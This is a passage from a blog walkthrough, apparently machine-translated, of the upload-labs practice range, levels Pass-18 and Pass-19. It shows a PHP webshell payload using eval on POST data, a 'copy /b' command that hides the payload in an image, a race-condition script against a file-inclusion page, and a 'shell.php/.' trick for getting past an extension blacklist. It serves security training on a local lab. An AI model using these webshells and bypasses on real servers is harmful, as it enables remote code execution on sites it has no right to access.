            break;      
        default:
            $msg = '未知错误!';
            break;
    }
}

//myupload.php
class MyUpload{
    
    
......
......
...... 
  var $cls_arr_ext_accepted = array(
      ".doc", ".xls", ".txt", ".pdf", ".gif", ".jpg", ".zip", ".rar", ".7z",".ppt",
      ".html", ".xml", ".tiff", ".jpeg", ".png" );

......
......
......  
  /** upload()
   **
   ** Method to upload the file.
   ** This is the only method to call outside the class.
   ** @para String name of directory we upload to
   ** @returns void
  **/
  function upload( $dir ){
    
    
    
    $ret = $this->isUploadedFile();
    
    if( $ret != 1 ){
    
    
      return $this->resultUpload( $ret );
    }

    $ret = $this->setDir( $dir );
    if( $ret != 1 ){
    
    
      return $this->resultUpload( $ret );
    }

    $ret = $this->checkExtension();
    if( $ret != 1 ){
    
    
      return $this->resultUpload( $ret );
    }

    $ret = $this->checkSize();
    if( $ret != 1 ){
    
    
      return $this->resultUpload( $ret );    
    }
    
    // if flag to check if the file exists is set to 1
    
    if( $this->cls_file_exists == 1 ){
    
    
      
      $ret = $this->checkFileExists();
      if( $ret != 1 ){
    
    
        return $this->resultUpload( $ret );    
      }
    }

    // if we are here, we are ready to move the file to destination

    $ret = $this->move();
    if( $ret != 1 ){
    
    
      return $this->resultUpload( $ret );    
    }

    // check if we need to rename the file

    if( $this->cls_rename_file == 1 ){
    
    
      $ret = $this->renameFile();
      if( $ret != 1 ){
    
    
        return $this->resultUpload( $ret );    
      }
    }
    
    // if we are here, everything worked as planned :)

    return $this->resultUpload( "SUCCESS" );
  
  }
......
......
...... 
};

The key statement is

$ret = $this->move();
if( $ret != 1 ){
    
    
    return $this->resultUpload( $ret );    
}

if( $this->cls_rename_file == 1 ){
    
    
    $ret = $this->renameFile();
    if( $ret != 1 ){
    
    
        return $this->resultUpload( $ret );    
    }
}

Judging from the source code, the server first compares the file suffix with the whitelist, and then checks the file size and whether the file already exists. The file was then renamed after it was uploaded.

From this point of view, PHP cannot upload, it can only upload the image horse, and it needs to be accessed before the image horse is renamed. In order for the image horse to be executed, other vulnerabilities must be coordinated, such as file inclusion, apache parsing vulnerabilities, etc.

Here again, insert the code from the previous level into the picture to create a picture horse. Then access the image horse through file inclusion.

cmd execute command

copy 111.png/b+upload.php upload.jpg

image-20230803180927413

The upload.phpcontent is

<?php fputs(fopen('Leaf.php','w'),'<?php @eval($_POST["Leaf"])?>');?>

But there seems to be a problem with the upload path of the file in this question myupload.php. Please modify it.

image-20230803180540936

will be $this->cls_upload_dir = $dir;modified to $this->cls_upload_dir = $dir.'/';

Then upload the image to the horse, intercept it with burp and send it to the destination 测试器(Intruder). The configuration is no different from the previous level.

image-20230803181225084

image-20230803181241589

Modify the script again. It cannot be accessed directly here. We need to use the file we wrote before to include the file for access and reconstruct the script.

import requests
url = "http://127.0.0.1/upload-labs/include.php?file=/Pass-18/upload.png"
while True:
    html = requests.get(url)
    if ( 'Warning'  not in  str(html.text)):
        print('ok')
        break

After the script is configured, you can use Burp to attack and run the script at the same time to successfully createLeaf.php

But because include.phpthe file is at the upper level, the execution is executed in the upper level directory, that is, Leaf.phpit is created in upload-labsthe directory.

image-20230803182107879

accessgetshell Leaf.php_

image-20230803182854418

Pass-19

/.Bypass

hint:

The file name of this pass is obtained through $_POST.

The source code is as follows:

$is_upload = false;
$msg = null;
if (isset($_POST['submit'])) {
    
    
    if (file_exists($UPLOAD_ADDR)) {
    
    
        $deny_ext = array("php","php5","php4","php3","php2","html","htm","phtml","pht","jsp","jspa","jspx","jsw","jsv","jspf","jtml","asp","aspx","asa","asax","ascx","ashx","asmx","cer","swf","htaccess");

        $file_name = $_POST['save_name'];
        $file_ext = pathinfo($file_name,PATHINFO_EXTENSION);

        if(!in_array($file_ext,$deny_ext)) {
    
    
            $img_path = $UPLOAD_ADDR . '/' .$file_name;
            if (move_uploaded_file($_FILES['upload_file']['tmp_name'], $img_path)) {
    
     
                $is_upload = true;
            }else{
    
    
                $msg = '上传失败!';
            }
        }else{
    
    
            $msg = '禁止保存为该类型文件!';
        }

    } else {
    
    
        $msg = $UPLOAD_ADDR . '文件夹不存在,请手工创建!';
    }
}

We found that this level allows us to rename uploaded files, and the rename parameter $ file_nameis controllable. There is a trick here that move_uploaded_filewill ignore the end of the file /., so we named it XXX.php/.so that the suffix is ​​not in the blacklist and the bypass can be achieved.

First, we upload the image horse first, and then use burp to capture the packet

image-20230803183520557

Then rename the file toshell.php/.

image-20230803183706273

Access after uploading, getshell is successful

image-20230803183736819


That's it for upload-labs. There are not many loopholes in file uploading currently. We will work on other aspects next. Let's encourage each other.

Article reference:
Upload-labs 1-21 shooting range clearance strategy (the most comprehensive and complete on the entire network)

Guess you like

Origin blog.csdn.net/Leaf_initial/article/details/132090006